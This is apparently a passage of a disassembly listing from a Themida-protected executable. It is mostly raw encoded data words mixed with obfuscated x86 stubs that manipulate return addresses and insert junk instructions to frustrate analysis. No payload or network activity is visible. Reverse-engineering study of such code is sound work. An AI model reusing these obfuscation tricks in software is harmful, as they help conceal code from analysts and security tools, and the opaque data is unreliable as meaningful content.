		dd 8E0F2F0Bh, 0
; ---------------------------------------------------------------------------
		pop	ecx
		call	near ptr loc_58ED63+4
		test	ds:83AE9C60h, ebx
		scasb
		pop	eax
		xchg	eax, edx


loc_58ED63:				; CODE XREF: Themida_:0058ED55p
		sar	byte ptr [ebx-4099101Ch], cl
		sub	ecx, [edi+5Ah]
		popa
		push	eax
		mov	edi, 53F8A983h
		nop
		push	0
		push	ebp
		call	sub_58ED7F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58ED7F	proc near		; CODE XREF: Themida_:0058ED77p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_58ED7F	endp

; ---------------------------------------------------------------------------
		db 0DFh
		dd 6CAAAD4Fh, 0E9ACAECFh, 0Ah, 2BD86438h, 8C52AB02h, 6AF20Ah
		dd 68DEBF0Fh, 0AB3FB40Eh, 0F18B6660h, 24048161h, 54DF4FF1h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 41C35242h
		dd 6522F0EBh, 7A5E04C3h, 6820Fh, 9D890000h, 60B32B9h, 3D195FFh
		dd 0FE9060Bh, 71000000h, 0D2EC7567h, 0A6FE6645h, 5603BD08h
		dd 8589B4DAh, 60EA81Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 1EC35040h, 0A485B9CCh, 1633BAEh, 0B012DB5h
		dd 1D5E906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0F43875C3h, 4A2CDF90h, 0E8EAA00Ah
		dd 0Bh,	6C7ECAA2h, 0C17B0C43h, 0F5152A55h, 15858B5Fh, 89060EA8h
		dd 0B15B59Dh, 61B58906h, 0C7060B11h, 1800h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 3D1FADA2h, 2DC5FFBBh, 19B58B0Eh, 53060EA8h, 1681BD8Bh
		dd 665F060Bh, 8B45BFBFh, 0B06E185h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0E19036DDh
		dd 17B3BB66h, 6A0689h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 1CAF05C3h, 6F6FF67Ch, 6048294Eh
		dd 5918501h, 0B531060Bh, 60B02C9h, 7D858B61h, 0F060B31h
		dd 4689DBBFh, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0FA8CA1Ch, 96D9BF0Fh, 0C970BE60h
		dd 0FCBA1D91h, 6106880Ch, 6A9650h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 1B990C3h, 177DB589h
		dd 0B5FF060Bh, 60EA815h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 16h, 11C35747h, 2E68461Eh,	0F8EA379h, 0A89h
		dd 52506000h, 585A310Fh, 8161EE8Ah, 8AD12404h, 6E9717Bh
		dd 0F3000000h, 0E2099767h, 1D858D3Ah, 6A060EA8h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 223C355h, 5E850h, 0CAF90000h, 8A601E63h, 4895FF9h, 0AD958924h
		dd 0FF060B28h, 0B03D195h, 0C19D8B06h, 61060B21h, 2F98D89h
		dd 85C7060Bh, 60B1009h,	3, 2A159D8Bh, 0BD83060Bh, 60EA81Dh
		dd 5B840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 8C90C353h, 0C9280640h
		dd 10E9D0D7h, 52000000h, 0CD20453Ch, 3EDEC2F1h,	0F5C71EA0h
		dd 0E969D01Dh, 39h, 1D01BB66h, 0CE8h, 927C400h,	747780D2h
		dd 46F2F346h, 28D0FD1h,	60000000h, 30505F61h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 4D9589C0h
		dd 6A060B1Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 3F5EC355h, 6B59D89h, 0BD83060Bh
		dd 60B1009h, 59850F03h,	23000004h, 0B0B259Dh, 1DBD8306h
		dd 60EA8h, 446840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 4948A1C3h, 0A81DB5FFh
		dd 78B3060Eh, 0BBD8509h, 95FF060Bh, 60B083Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0DBC35343h, 0BC7BF963h
		dd 6870F8Fh, 1000000h, 0B202D9Dh, 11B58B06h, 0B3060EA8h
		dd 106C7EFh, 96000100h,	0CE860h, 14C70000h, 0DEC14248h
		dd 271E80E3h, 0B966D633h, 505A068Dh, 5BFE8B66h,	5E95061h
		dd 68000000h, 0C956C01Ah, 56006A96h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0E8682E40h
		dd 10h,	9BEFCB69h, 8C0CC17h, 41517807h,	7E70D902h, 3D5BD29h
		dd 0FF5F060Bh, 0EA81DB5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 95FFB26Ch
		dd 60B0641h, 0BE8h, 89DAFD00h, 0FC4E98B9h, 2362517Bh, 5FD88B66h
		dd 0ED4DBB66h, 0A811B58Bh, 6A060Eh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 9B2384C3h
		dd 0A435DE3Bh, 0BB66319Eh, 0FE8B9696h, 121D858Bh, 6A060Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 51686DC3h, 86892AD1h, 0C4h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0C0C35747h,	71B0E1E1h, 0BD5F059Dh
		dd 4D958B40h, 6A060B17h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0E993C352h,	0Bh, 0DE181BA8h
		dd 8ACBAEF4h, 8320BA96h, 800F04C2h, 6, 15A1BD8Bh, 9E8060Bh
		dd 2000000h, 0C8DC49AEh, 901AD84Dh, 2311BD23h, 895F060Bh
		dd 0B70F2050h, 0EE858DD9h, 0B3060EBAh, 0B886896Ch, 66000000h
		dd 13BDF381h, 9DBB006Ah, 0FF54AB6Dh, 0EA81DB5h,	0DE806h
		dd 3A2A0000h, 3A66391Eh, 0FC5D66A2h, 5B9F3790h,	0F1595FFh
		dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0B5891EC3h, 60B0095h, 0D49CBB50h,	34897F79h
		dd 0B5FFFC24h, 60EA81Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0CEC35343h, 607EA68Ch, 9FB96660h, 0DDBA618Eh
		dd 61697135h, 0F595FFh,	6A060Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0C6DAB8C3h, 0BF0F5738h
		dd 0BD835FFEh, 60B2191h, 53840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 2A8CC351h, 9E866h, 6FD30000h, 0FD216162h, 809B1F1Bh
		dd 965B3ED7h, 0EFBB6652h, 0E8505F21h, 0Dh, 2418313Dh, 0AEB67220h
		dd 0F2C95D75h, 86BCBB54h, 965F3692h, 0B5FFF98Bh, 60EA81Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0E4C35040h
		dd 9D89B8D4h, 60B2B39h,	128195FFh, 6A060Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 4D5EE1C3h
		dd 0E960F89Eh, 0Eh, 0F5806051h,	0DEA50460h, 0A9035EFFh
		dd 0B5FF35E4h, 60EA81Dh, 0FFD98B66h, 0B0B8D95h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 57EB9E7Eh, 0BD83F544h, 60B17F1h, 6E840F02h, 81000000h
		dd 316433D3h, 0C5858B63h, 6A060B2Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 385BC351h
		dd 8E0AA0EAh, 29D58D89h, 8060060Bh, 8B661FEDh, 0C661CEh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 958EEA26h, 60432FE9h, 3800Fh, 8B660000h
		dd 0D6B70FCFh, 0B985C761h, 60B06h, 0F000000h, 1789h, 12E900h
		dd 3B4D0000h, 0B760FE18h, 4BC4ABBCh, 95D2DC6Bh,	0D79705A5h
		dd 0FFF2E6E9h, 66C18BFFh, 0E80DC1BFh, 7, 0CE7F25A9h, 66178BE8h
		dd 5B8B3FBAh, 29036DBFh
		dd 29C38158h, 0E9000060h, 0Bh, 0DC9593B2h, 10402654h, 68B25458h
		dd 17DFh, 0A1858960h, 61060B2Ah, 49BD3159h, 0FF060B0Fh
		dd 6840F33h, 89000000h,	0B32A985h, 0F38B5806h, 71B8F081h
		dd 0B58B5FD9h, 60B29B9h, 3A5BC081h, 8A0F7E0Dh, 6, 1779BD8Bh
		dd 0C081060Bh, 4477B11h, 4AEBBE66h, 259D2950h, 8F060B21h
		dd 0EE903h, 6C180000h, 5B180E15h, 0A49B4E31h, 0F058ACF4h
		dd 4694EB81h, 8B665A48h, 90C381D6h, 815A4846h, 0F6D380EEh
		dd 850F497Dh, 0FFFFFF8Fh, 0AE28166h, 598D8D3Fh,	6A061036h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0E8ADC357h, 9, 17184A0Ah,	497BC23h, 49958932h
		dd 5F060B01h, 174D8D89h, 8B66060Bh, 1985C7FAh, 4C060B01h
		dd 6A000059h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 91F7C351h, 0DC83E48Fh,	38A0FCAh
		dd 66000000h, 85C7C78Bh, 60B1009h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_58F6BB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58F6BB	proc near		; CODE XREF: Themida_:0058F6B3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_58F6BB	endp

; ---------------------------------------------------------------------------
		mov	[eax+19C9B5FFh], ecx
		or	eax, [esi]
		call	dword ptr [ebp+60B0AC5h]
		push	0
		push	edx
		call	sub_58F6E4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58F6E4	proc near		; CODE XREF: Themida_:0058F6DCp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_58F6E4	endp

; ---------------------------------------------------------------------------
		push	cs
		xchg	eax, esi
		push	0
		call	dword ptr [ebp+60B32DDh]
		mov	eax, eax
		jmp	short loc_58F76F
; ---------------------------------------------------------------------------
		dw 876h
		dd 0EC96A46Dh, 26BFDEE5h, 0D883D89h, 15C9267Fh,	0DC6535F9h
		dd 14D11384h, 0B5E88862h, 2BD531D0h, 0A49A1749h, 5E96F615h
		dd 9AB44394h, 7684D123h, 0A21901D1h, 42F14D03h,	0E9EE9D90h
		dd 0AFB2EA12h, 1B59A143h, 7B5C14FBh, 0FE0BA0F1h, 614F6371h
		dd 0DF3999C4h, 32187F1Fh, 29A65137h, 0C3E1D250h, 112EDB20h
		dd 6817D796h
		db 0DBh, 16h, 0DBh
; ---------------------------------------------------------------------------


loc_58F76F:				; CODE XREF: Themida_:0058F700j
		lea	ecx, [ebp+610377Ch]
		push	0
		push	ebx
		call	sub_58F780
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58F780	proc near		; CODE XREF: Themida_:0058F778p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_58F780	endp

; ---------------------------------------------------------------------------
		mov	edi, 68685E42h
		retn	68EFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		add	bh, 5Bh
		mov	[ebp+60B174Dh],	ecx
		mov	dword ptr [ebp+60B0119h], 70E0h
		push	0
		push	esi
		call	sub_58F7B7
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58F7B7	proc near		; CODE XREF: Themida_:0058F7AFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_58F7B7	endp

; ---------------------------------------------------------------------------
		db 10h
		dd 12F24723h, 8B5FDE05h, 0B012D9Dh, 985C706h, 60B10h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0E9E3C356h, 6, 1E94EB05h,	0B5FFD313h, 60B0105h
		dd 95FF49B6h, 60B0AC5h,	4F28166h, 0FF006A77h, 0B32DD95h
		dd 0EBC08B06h, 0FDAF4C2Ch, 0CE722809h, 0EBA5CC5h, 2D6DF3F7h
		dd 5D3C0A1Eh, 0D1DBB90Ah, 4C0E010Ch, 25392F7Fh,	7F08288Fh
		dd 994CC8Bh, 6C6D0051h,	33582018h, 3331C857h, 6D121001h
		dd 47BB56C2h, 77B30025h, 33290625h, 65740101h, 4EE1E2C2h
		dd 3A81BAB2h, 0EBB94637h, 0BF54E18Ah, 28F01D9h,	9B340F17h
		dd 9EB60D05h, 0BA320100h, 383C959Ch, 28FC307h, 33342B0Fh
		dd 3343940Eh, 33580801h, 3331EC57h, 6D120201h, 47BB5FC2h
		dd 77B38425h, 33294425h, 65742001h, 948591C2h, 359DC772h
		dd 44E0852Ch, 3C308DBEh, 33320083h, 56DB7901h, 59324000h
		dd 30DA7101h, 13321001h, 0BA6BCB58h, 0B236204Dh, 2E362645h
		dd 72320101h, 0CC564350h, 94655485h, 0CF3DF0D2h, 333217E9h
		dd 662E1E01h, 0A0673426h, 33368B0Eh, 8D540101h,	0A36C5E84h
		dd 33324EE9h, 9A332101h, 0CFC0B1FBh, 1314BCBEh,	0DB9936E5h
		dd 3332020Ah, 0B2F7448Ah, 19D658D6h, 0DB2C38EFh, 33322006h
		dd 13F26428h, 6C5BB0FFh, 0A3625F5Bh, 2B63BF88h,	323D070Ah
		dd 59CCA44Dh, 30DA1101h, 13322001h, 0BA6BD358h,	0B2362C4Dh
		dd 2F362045h, 72320201h, 1436C250h, 0FACE84C8h,	814B5A92h
		dd 0F3B17802h, 3BB9E52Dh, 7BB96EFDh, 0E4B962FDh, 50B8367h
		dd 0A9B60EFEh, 0DA328001h, 3332400Ch, 1D283649h, 0B856E9E3h
		dd 898940B2h, 0B0C08F92h, 33580BC0h, 3331E950h,	6A128001h
		dd 7FBB19C2h, 77B32425h, 332A1425h, 62730801h, 0B0559BC2h
		dd 36DBE430h, 98320101h, 3ECDA349h, 0AB2988Ah, 6EB72FE8h
		dd 18321001h, 3824ADB4h, 32738F07h, 0E2C18367h,	0B0FA028Ah
		dd 335885C0h, 3331A854h, 6E122001h, 5FBB4DC2h, 77B30C25h
		dd 332A0025h, 66770201h, 72AF54C2h, 8E396FD7h, 35394318h
		dd 369FBD28h, 0AB3160Ah, 0B8714391h, 3320810Eh,	843D0201h
		dd 0E4BF8CFEh, 8B348B4Ch, 33324002h, 0D2CDA9B7h, 728F9B60h
		dd 0BE340306h, 2305A9BCh, 84BF8F07h, 8B341138h,	32A00375h
		dd 3693C532h, 0FC19260Ah, 335820C0h, 3331C857h,	6D121001h
		dd 47BB56C2h, 77B30025h, 33290625h, 83740101h, 0A4F305E9h
		dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0E9E589C3h, 0B0D2991Fh, 0EE8h, 6A8AE700h
		dd 9047214Bh, 1F8F5A8h,	60078042h, 2F359D8Bh, 8166060Bh
		dd 61C4A2C7h, 8DC38B5Ah, 103B188Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 781AB004h
		dd 0A2E360EAh, 9D09B975h, 60B1949h, 174D8D89h, 6A060Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0DA3AAEC3h, 858BF5C0h, 60B1771h, 11985C7h, 5A80060Bh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0E11C62C3h, 81EBC065h, 0B58902BDh, 60B0721h
		dd 100985C7h, 60Bh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0F171BCC3h, 0B3B5DD5Eh
		dd 0F85AFEB2h, 1F8DB5FFh, 6A060Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 8B9ED2C3h, 0B02B9B5h
		dd 0C595FF06h, 29060B0Ah, 0B1A098Dh, 0FF006A06h, 0B32DD95h
		dd 0EBC08B06h, 64287B3Ah, 6EA445C8h, 0D56F3C9Ch, 974E75F9h
		dd 0CE10A656h, 5302C33Bh, 11E924Ch, 0CB42BA28h,	0EF90E48Eh
		dd 53CF4716h, 0CCBAAAEBh, 0D197BF95h, 921481B0h, 4AB1CC16h
		dd 8D855F1Dh, 103C208Dh, 89D5B406h, 0B174D8Dh, 0C5850106h
		dd 0C7060B1Bh, 0B011985h, 73A006h, 198D2900h, 0C7060B24h
		dd 0B100985h, 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 1B04EE7Eh, 89584FE4h
		dd 0B0E699Dh, 0EE906h, 7E230000h, 6140DD8Bh, 0A1464217h
		dd 8153ED86h, 2705B5FFh, 6A060Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0EE3F34C3h, 8936A33Bh
		dd 0B31959Dh, 0C595FF06h, 6A060B0Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0C034C353h
		dd 8B1328E0h, 0B12AD95h, 0FF006A06h, 0B32DD95h,	0EBC08B06h
		dd 0F9C4416Bh, 0BA397A66h, 0AE8A9379h, 29AF5801h, 0DCC28FDFh
		dd 0F281C1Bh, 57830D44h, 38CECF0Ch, 67E4B3E7h, 0B215088Eh
		dd 1AA6B020h, 0EBEE2F9Eh, 0C3966507h, 13C8526Fh, 0EF2F45D5h
		dd 0CDEE79FFh, 0ABD4755Fh, 667826FCh, 0EEC0C2CBh, 4898E336h
		dd 5D64DB66h, 30BA06E2h, 0B7FFCD0Eh, 0D8B94945h, 25BB99E6h
		dd 0F0E90CB9h, 3775A810h, 12E8h, 72117200h, 9554E1DDh
		dd 9BFB40F7h, 0FB683753h, 56F74023h, 5ACE8B66h,	259D295Fh
		dd 81060B0Bh, 61B1C7h, 0CE86000h, 86000000h, 2148896Bh
		dd 0B02CB26h, 89E52C90h, 0B018995h, 0BD8B5A06h,	60B0509h
		dd 0B861h, 8B660000h, 3834FFD0h, 81CA8B5Eh, 0CE02F9EEh
		dd 812BB610h, 2934B0EEh, 0D081604Ah, 600BEF01h,	79F68161h
		dd 8B2C1D30h, 0B0BF18Dh, 7348906h, 7B6A75B9h, 9E825h, 57500000h
		dd 0AB9B7353h, 0E9A5EF35h, 0Eh,	0E156C18h, 4E315B18h, 0ACF4A49Bh
		dd 815BF058h, 0E8F0E7E8h, 499D010Ch, 81060B2Bh,	0E8F0E3C0h
		dd 12E90Ch, 8D7E0000h, 7D2FC3D6h, 2EADCB77h, 66D37DB3h
		dd 0BA4332ACh, 9F54F881h, 850FFFFFh, 1Eh, 4398D8Bh, 2BE9060Bh
		dd 0E5000000h, 0A14268E8h, 0B942106Ah, 851FC5E3h, 0C4AC008Ah
		dd 8D8BBEFAh, 60B3389h,	0FFFF50E9h, 0CD346DFFh,	50B7243Dh
		dd 9AE082D0h, 0AB172887h, 0EB30A31Eh, 39948E5Eh, 948835DEh
		dd 96F41A34h, 2DB03668h, 0A8D446D5h, 20C7E268h,	320333D3h
		dd 0EB306085h, 2BD9306Dh, 1E6BBAD5h, 0A67138FFh, 26082948h
		dd 700ECCD3h, 0FA53B08Dh, 2B7138FCh, 78EB24A1h,	2BD9306Dh
		dd 1E6BBAD5h, 0A67138FFh, 260B3A48h, 700ECCD3h,	7CEE598Dh
		dd 2B77303Dh, 0E8E413D5h, 0FA1BA8Ah, 0FAAB2D1h,	2B772FD1h
		dd 0E8EC74D5h, 3417DE12h, 65BF9C65h, 2B7EDAAEh,	4FA33D5h
		dd 63C753BEh, 2233B6CDh, 2077BA58h, 417BB8D3h, 283561D5h
		dd 0BEE33D5h, 0A22DF08Fh, 0AABF1781h, 3FD91791h, 69EE33D5h
		dd 28E2F087h, 20919268h, 0F35155D3h, 385B8ED6h,	2FDF35DEh
		dd 2FF5B7DAh, 2BB733D5h, 2BEDDB82h, 745733D5h, 57326C16h
		dd 6F5C37F1h, 2BF237F1h, 7C3033D5h, 0E13A3D16h,	48934Eh
		dd 966D3B5Ch, 2D7C3DE4h, 6B3F3CD5h, 41DD33D5h, 280663D5h
		dd 0B7733D5h, 0A2E3F08Dh, 0AAD91791h, 3CEA1791h, 6B7733D5h
		dd 0A118F085h, 0BE56138Bh, 2DE51E28h, 2B74C03Ch, 2BAADAD5h
		dd 15A33D5h, 9419C9FAh,	0BABA73CCh, 30E83B0h, 95C7F3FBh
		dd 29EE14D5h, 300EAEDCh, 0E43B35DEh, 0F158BE46h, 41E83DA5h
		dd 289F64D5h, 0BBB33D5h, 0A282F08Ah, 0AAEA17A9h, 30731791h
		dd 6CBB33D5h, 5F47F082h, 7B7D6C2Eh, 9EFE7CC9h, 2DB02014h
		dd 0A656E32Ah, 2DE535BCh, 0AF78F350h, 2BBB3331h
		dd 2BDD223Ch, 5A14EAD5h, 0B713DFF2h, 0F236E0E7h, 3CDBFABCh
		dd 136F9C44h, 0D0F65582h, 2B96B6DAh, 0AABB33D5h, 29EC37ADh
		dd 280AB7DAh, 2BD133D5h, 2BDEDB87h, 71CE33D5h, 7FFE6916h
		dd 6F3A37F1h, 2BC437F1h, 79AC33D5h, 0F0B30816h,	4D236D27h
		dd 4B410B54h, 2B64B6DAh, 2B1D33D5h, 2BB8DB84h, 72FD33D5h
		dd 67676A16h, 6FF637F1h, 2BAE37F1h, 7A9C33D5h, 0C3299F16h
		dd 2B7733C5h, 2B82D3E2h, 59469F90h, 0BCA798BAh,	8FC5627Eh
		dd 391ABE5Eh, 0A28435DEh, 20DED648h, 290FB3D3h,	6A3E3C3Dh
		dd 41DD33D5h, 280662D5h, 0B7733D5h, 0A2E2F08Ch,	0AAD91799h
		dd 33EA1791h, 6A7733D5h, 3FC9F084h, 4D23C8A0h, 4D824F6Eh
		dd 2B714B54h, 3A3E3C7Eh, 2DD33D5h, 20EFA648h, 29BADAD3h
		dd 0AE3233D5h, 2DD61264h, 2AEF336Bh, 4DA6B893h,	0C692D954h
		dd 5B07B658h, 250635DBh, 1F7733D5h, 0A287452Ch,	182C9FAEh
		dd 922BDEADh, 4FCE6CB9h, 0D496F25Eh, 16601A05h,	0AEE838DCh
		dd 5AF33C15h, 41BB33D7h, 283561D5h, 0BEE33D5h, 0A22DF08Fh
		dd 0AABF1781h, 32D91791h, 69EE33D5h, 4CE0F087h,	0B2FE34DEh
		dd 1A88A65Ch, 966735DEh, 2D7C316Ch, 16DD0B54h, 0AED231D7h
		dd 2BEE3395h, 0C32633BFh, 2BBB33D6h, 721E6AF5h,	2FCA7F5Ch
		dd 2F537754h, 2BBB33CDh, 0DC1E6294h, 0B319CEF0h, 57AEB2B3h
		dd 0AA68B89Eh, 16BB35ADh, 0AFE1498Ah, 2B7731CAh, 3B92AE5Eh
		dd 0AE5435DEh, 2DE51AECh, 0B74FB2B3h, 0BA3E3CB5h, 41DD33D5h
		dd 280664D5h, 0B7733D5h, 0A2E4F08Ah, 0AAD917A9h, 3DEA1791h
		dd 6C7733D5h, 71D5F082h, 0B636B338h, 14B8E5Eh, 53F735DEh
		dd 0AEB4DBD7h, 2BDD33B5h, 0C3BE33BFh, 2B7733D6h, 73786BF5h
		dd 2FF9775Ch, 2FCA7754h, 2B7733C1h, 0E1786395h,	0B654C062h
		dd 2DE5328Ch, 2D0FB2B3h, 0AEB4F3D5h, 2BDD33E5h,	34BB65Ch
		dd 0B79E35DEh, 41BB33D4h, 283562D5h, 0BEE33D5h,	0A22EF08Ch
		dd 0AABF1799h, 3ED91791h, 6AEE33D5h, 559BF084h,	722E3286h
		dd 70DB38E4h, 2AEF336Bh, 67A9B3ABh, 5B61B658h, 0AE5435DBh
		dd 2DE52994h, 2B1DE32Ah, 2BB8DB84h, 72FD33D5h, 67676A16h
		dd 6FF637F1h, 2BA337F1h, 7A9C33D5h, 0B0875816h,	9C7847CCh
		dd 247BB62Fh, 2BDC2851h, 79EE59D5h, 2B77303Dh, 0E8E113D5h
		dd 0F89BA8Fh, 0FAAB2D1h, 2B772AD1h, 0E8E971D5h,	59ADAE3Fh
		dd 0C3BFDEB3h, 2B7733C7h, 55ACBE2Ch, 72CB4AC2h,	0FA2BA6A7h
		dd 6B697063h, 4ADB178Dh, 135D6A8Fh, 516B3C3Dh, 417733D5h
		dd 285361D5h, 0BDD33D5h, 0A2B4F08Fh, 0AA731781h, 3FBF1791h
		dd 69DD33D5h, 0AB3BF087h, 240436ADh, 2BBB6750h,	7ADD59D5h
		dd 2BEE303Dh, 0E82E13D5h, 0FF7BA8Ch, 0F99B2D1h,	2BEE25D1h
		dd 0E82672D5h, 0A10629DAh, 2CA5B31Fh, 8B6A3C86h, 417733D5h
		dd 285365D5h, 0BDD33D5h, 0A2B0F08Bh, 0AA7317A1h, 37BF1791h
		dd 6DDD33D5h, 73FFF083h, 0F9000DCAh, 0A2C8AA7Bh, 20DD2268h
		dd 136F55D3h, 0AE78365Ah, 2BBB3385h, 43DB4B55h,	2BA8B6DAh
		dd 2B1D33D5h, 2BB8DB86h, 70FD33D5h, 77676816h, 6FF637F1h
		dd 2BAF37F1h, 789E33D5h, 0A7E1C516h, 2B7733D8h,	463E30B5h
		dd 4DDB38FCh, 8582FA54h, 53F655B4h, 249ECCDEh, 2BDD3850h
		dd 0F263BAD5h, 0C27138FFh, 2BBB33CEh, 2BDD336Dh, 0AE6764D5h
		dd 2D7C2A6Ch, 2B9CDA8Eh, 0BE5633D5h, 2DE52B74h,	93BCB8B3h
		dd 2BBB33D4h, 2BDD393Dh, 0A494B7D5h, 742537E2h,	0A0C95A75h
		dd 20C84248h, 9CE169D3h, 0A4786307h, 2BBB33D7h,	2F547E64h
		dd 29693CF1h, 0A07733D5h, 0B506BE2Fh, 0A6DB23E8h, 3BAD2E58h
		dd 7E548BD3h, 0AEB844B3h, 2DD62190h, 336BFCFEh,	0B3AB2AEFh
		dd 0B65867A9h, 35DB5B61h, 2994AE54h, 0E32A2DE5h, 0DB842B1Dh
		dd 5E983B8h, 8B58A4F3h,	0B11398Dh, 8D035206h, 60B18E5h
		dd 0FC00B5Ah, 6784h, 0E3816600h, 0B58DC3B4h, 60B4DD7h
		dd 3B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0E9B4F912h, 0Dh, 416102F9h, 7B4BB4B2h
		dd 0AB3B3636h, 6AE6FF95h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0EC7BC352h,	375C3058h
		dd 32A2BF66h, 698D8940h, 0F8060B29h, 12E9C08Bh,	17000000h
		dd 0DCFBA3EEh, 0E680DBC2h, 75F47B71h, 0C4BEADDBh, 0BDBD833Ch
		dd 60B05h, 0BD830975h, 60B29D1h, 50197400h, 0B8C08B53h
		dd 403h, 12998589h, 9D8D060Bh, 60DB381h, 585BD3FFh, 29D1BD83h
		dd 7400060Bh, 0B8535017h, 403h,	12998589h, 9D8D060Bh, 60DB022h
		dd 585BD3FFh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	0EFC35141h, 0C2DBD29h, 8D8B060Bh, 60B056Dh, 0DD8AC08Bh
		dd 3800Fh, 0BF0F0000h, 0CE861DEh, 0F3000000h, 0D44A1EEDh
		dd 43BFE176h, 8BA397B1h, 0ACB958CBh, 81144355h,	5A75C0h
		dd 0FFB70F00h, 166C68h,	0A58D8B00h, 5E060B13h, 68C0Fh
		dd 0D7810000h, 0C8777C2h, 9D8B30FFh, 60B18BDh, 0B529605Ah
		dd 60B2EE9h, 0EA8161F8h, 40E53760h, 83C281F5h, 8123C3DAh
		dd 0E8DB2EE7h, 78EA8161h, 6645A39Ah, 3B1EDB81h,	0DEBF0F52h
		dd 0E883008Fh, 69BF6601h, 4848481Dh, 2E850F4Eh,	0E8000000h
		dd 9, 758E8A73h, 0C1B25C3Dh, 19D8B2Eh, 59060B1Ah, 33E9h
